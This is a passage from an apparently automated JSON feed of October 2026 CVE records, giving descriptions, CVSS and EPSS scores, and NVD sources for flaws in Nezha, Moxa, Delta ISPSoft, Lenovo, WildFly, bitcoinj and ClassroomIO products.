fixes.","publishedAt":"2026-10-16T03:18:05.740Z","updatedAt":"2026-10-23T20:17:20.510Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111384","asOf":"2026-10-23T20:17:20.510Z"},"epss":{"probability":0.00358,"percentile":0.29287,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111384&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111384","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111384","type":"primary","publishedAt":"2026-10-16T03:18:05.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111384&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111384, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111383","cveId":"CVE-2026-111383","aliases":[],"kind":"vulnerability","title":"Nezha from 2.0.13 before 2.3.15 contains a resource exhaustion vulnerability that allows authenticated users to open unbounded concurrent connections to the /api/v1/ws/transfer...","summary":"Nezha from 2.0.13 before 2.3.15 contains a resource exhaustion vulnerability that allows authenticated users to open unbounded concurrent connections to the /api/v1/ws/transfer WebSocket endpoint. Attackers can hold thousands of subscriptions created by ServerTransferClass.Subscribe without limits, exhausting file descriptors, memory, and goroutines and blocking agent gRPC reconnections.","detail":"Nezha from 2.0.13 before 2.3.15 contains a resource exhaustion vulnerability that allows authenticated users to open unbounded concurrent connections to the /api/v1/ws/transfer WebSocket endpoint. Attackers can hold thousands of subscriptions created by ServerTransferClass.Subscribe without limits, exhausting file descriptors, memory, and goroutines and blocking agent gRPC reconnections.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:05.537Z","updatedAt":"2026-10-16T17:17:33.160Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111383","asOf":"2026-10-16T17:17:33.160Z"},"epss":{"probability":0.00358,"percentile":0.29287,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111383&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111383","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111383","type":"primary","publishedAt":"2026-10-16T03:18:05.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111383&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111383, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109813","cveId":"CVE-2026-109813","aliases":[],"kind":"vulnerability","title":"A hard-coded cryptographic key vulnerability exists in the `/usr/bin/sysman` of some of Moxa's industrial computing products.","summary":"A hard-coded cryptographic key vulnerability exists in the `/usr/bin/sysman` of some of Moxa's industrial computing products. An unauthenticated attacker with adjacent network access could exploit the exposed private key material to compromise the confidentiality and integrity of communications.","detail":"A hard-coded cryptographic key vulnerability exists in the `/usr/bin/sysman` of some of Moxa's industrial computing products. An unauthenticated attacker with adjacent network access could exploit the exposed private key material to compromise the confidentiality and integrity of communications.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:02.277Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109813","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00163,"percentile":0.0543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109813&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109813","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109813","type":"primary","publishedAt":"2026-10-16T03:18:02.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109813&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109813, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105228","cveId":"CVE-2026-105228","aliases":[],"kind":"vulnerability","title":"This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.","summary":"This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.","detail":"This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:17:58.517Z","updatedAt":"2026-10-16T17:17:23.103Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105228","asOf":"2026-10-16T17:17:23.103Z"},"epss":{"probability":0.00308,"percentile":0.23366,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105228&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105228","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105228","type":"primary","publishedAt":"2026-10-16T03:17:58.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105228&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105228, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105227","cveId":"CVE-2026-105227","aliases":[],"kind":"vulnerability","title":"This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.","summary":"This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.","detail":"This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:17:58.357Z","updatedAt":"2026-10-16T17:17:22.993Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105227","asOf":"2026-10-16T17:17:22.993Z"},"epss":{"probability":0.00308,"percentile":0.23367,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105227&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105227","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105227","type":"primary","publishedAt":"2026-10-16T03:17:58.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105227&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105227, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92629","cveId":"CVE-2026-92629","aliases":[],"kind":"vulnerability","title":"A potential improper authorization vulnerability was reported in Lenovo Baiying PC Client, distributed exclusively in the Chinese market, that could allow a local authenticated...","summary":"A potential improper authorization vulnerability was reported in Lenovo Baiying PC Client, distributed exclusively in the Chinese market, that could allow a local authenticated user to execute arbitrary code with elevated privileges.","detail":"A potential improper authorization vulnerability was reported in Lenovo Baiying PC Client, distributed exclusively in the Chinese market, that could allow a local authenticated user to execute arbitrary code with elevated privileges.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T00:17:07.190Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92629","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00102,"percentile":0.00923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92629&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92629","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92629","type":"primary","publishedAt":"2026-10-16T00:17:07.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92629&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92629, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89057","cveId":"CVE-2026-89057","aliases":[],"kind":"vulnerability","title":"A potential authentication bypass vulnerability was reported in some Lenovo tablets that could allow a user with physical access to gain unauthorized device access.","summary":"A potential authentication bypass vulnerability was reported in some Lenovo tablets that could allow a user with physical access to gain unauthorized device access.","detail":"A potential authentication bypass vulnerability was reported in some Lenovo tablets that could allow a user with physical access to gain unauthorized device access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T00:17:06.417Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89057","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00195,"percentile":0.09056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89057&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89057","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89057","type":"primary","publishedAt":"2026-10-16T00:17:06.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89057&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89057, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84823","cveId":"CVE-2026-84823","aliases":[],"kind":"vulnerability","title":"A flaw was found in WildFly. A user with the `Monitor` role, which is the lowest standard Role-Based Access Control (RBAC) role, can exploit a path traversal vulnerability in the...","summary":"A flaw was found in WildFly. A user with the `Monitor` role, which is the lowest standard Role-Based Access Control (RBAC) role, can exploit a path traversal vulnerability in the `take-snapshot` operation. By manipulating the `name` parameter, this user can write a copy of the server configuration to an arbitrary location. This allows the `Monitor` role to read back the server configuration, including sensitive credentials, which would otherwise be restricted by RBAC, leading to information disclosure.","detail":"A flaw was found in WildFly. A user with the `Monitor` role, which is the lowest standard Role-Based Access Control (RBAC) role, can exploit a path traversal vulnerability in the `take-snapshot` operation. By manipulating the `name` parameter, this user can write a copy of the server configuration to an arbitrary location. This allows the `Monitor` role to read back the server configuration, including sensitive credentials, which would otherwise be restricted by RBAC, leading to information disclosure.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T00:17:05.573Z","updatedAt":"2026-10-26T15:16:44.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84823","asOf":"2026-10-26T15:16:44.770Z"},"epss":{"probability":0.00416,"percentile":0.35619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84823&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84823","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84823","type":"primary","publishedAt":"2026-10-16T00:17:05.573Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84823&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84823, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75941","cveId":"CVE-2026-75941","aliases":[],"kind":"vulnerability","title":"A potential vulnerability was reported in the Lenovo Legion Zone application, distributed exclusively in the Chinese market, that could allow an attacker on the same logical...","summary":"A potential vulnerability was reported in the Lenovo Legion Zone application, distributed exclusively in the Chinese market, that could allow an attacker on the same logical network to execute arbitrary code.","detail":"A potential vulnerability was reported in the Lenovo Legion Zone application, distributed exclusively in the Chinese market, that could allow an attacker on the same logical network to execute arbitrary code.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T00:17:05.420Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75941","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00264,"percentile":0.18149,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75941&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75941","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75941","type":"primary","publishedAt":"2026-10-16T00:17:05.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75941&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75941, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111210","cveId":"CVE-2026-111210","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in bitcoinj up to 0.17. Affected is the function url.openConnection of the file PaymentSession.java of the component Payment Request Handler.","summary":"A vulnerability was determined in bitcoinj up to 0.17. Affected is the function url.openConnection of the file PaymentSession.java of the component Payment Request Handler. Executing a manipulation of the argument pki_type can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was determined in bitcoinj up to 0.17. Affected is the function url.openConnection of the file PaymentSession.java of the component Payment Request Handler. Executing a manipulation of the argument pki_type can lead to server-side request forgery. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T00:17:04.180Z","updatedAt":"2026-10-16T19:21:05.070Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111210","asOf":"2026-10-16T19:21:05.070Z"},"epss":{"probability":0.00291,"percentile":0.21432,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111210&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111210","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111210","type":"primary","publishedAt":"2026-10-16T00:17:04.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111210&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111210, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111369","cveId":"CVE-2026-111369","aliases":[],"kind":"vulnerability","title":"ClassroomIO through 1.0.0 contains an incorrect authorization vulnerability in the PUT and DELETE /:lessonId lesson routes that allows any course member, including students, to...","summary":"ClassroomIO through 1.0.0 contains an incorrect authorization vulnerability in the PUT and DELETE /:lessonId lesson routes that allows any course member, including students, to modify lessons. Authenticated students can supply arbitrary lesson ids to change titles and stored HTML content or delete lessons in their course and in other courses and organizations.","detail":"ClassroomIO through 1.0.0 contains an incorrect authorization vulnerability in the PUT and DELETE /:lessonId lesson routes that allows any course member, including students, to modify lessons. Authenticated students can supply arbitrary lesson ids to change titles and stored HTML content or delete lessons in their course and in other courses and organizations.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:35.013Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111369","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00246,"percentile":0.15702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111369&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 